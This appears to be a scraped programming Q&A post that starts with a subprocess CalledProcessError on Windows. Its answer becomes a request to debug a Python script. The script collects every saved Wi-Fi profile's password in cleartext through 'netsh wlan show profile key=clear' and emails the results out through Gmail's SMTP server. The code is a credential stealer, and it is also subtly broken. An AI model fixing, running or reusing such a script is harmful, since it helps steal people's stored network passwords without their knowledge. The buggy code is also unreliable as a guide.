CalledProcessError for Subprocess.check_output for wlan 在 windows

Question

I'm facing an error called CalledProcessError in Subprocess.Check_output module. Can anyone fix this?

Answer 1

you program is returning a non zero status which means that an error occurred during the processing of the command. You probably want to add some argument to your subprocess.check_output command to fix that.

So i made some changes and im still trying to get the Email pass Send main working. can you check if it works for you?

import subprocess, smtplib, re
import sys


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True ,stderr=subprocess.STDOUT)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks.decode("latin-1"))


result = ""

for network_name in network_names_list:
    try:
        print(network_name)
        command = "netsh wlan show profile key=clear" + "".join(network_name)
        current_result = str(subprocess.check_output(command, shell=True))
        result = result + current_result
        send_mail("email", "pass", result)
    except subprocess.CalledProcessError as e:
        raise RuntimeError("command '{}' returns with error (code {}):{}".format(e.cmd,e.returncode,e.output))

subprocess-check-output-returned-non-zero-exit-status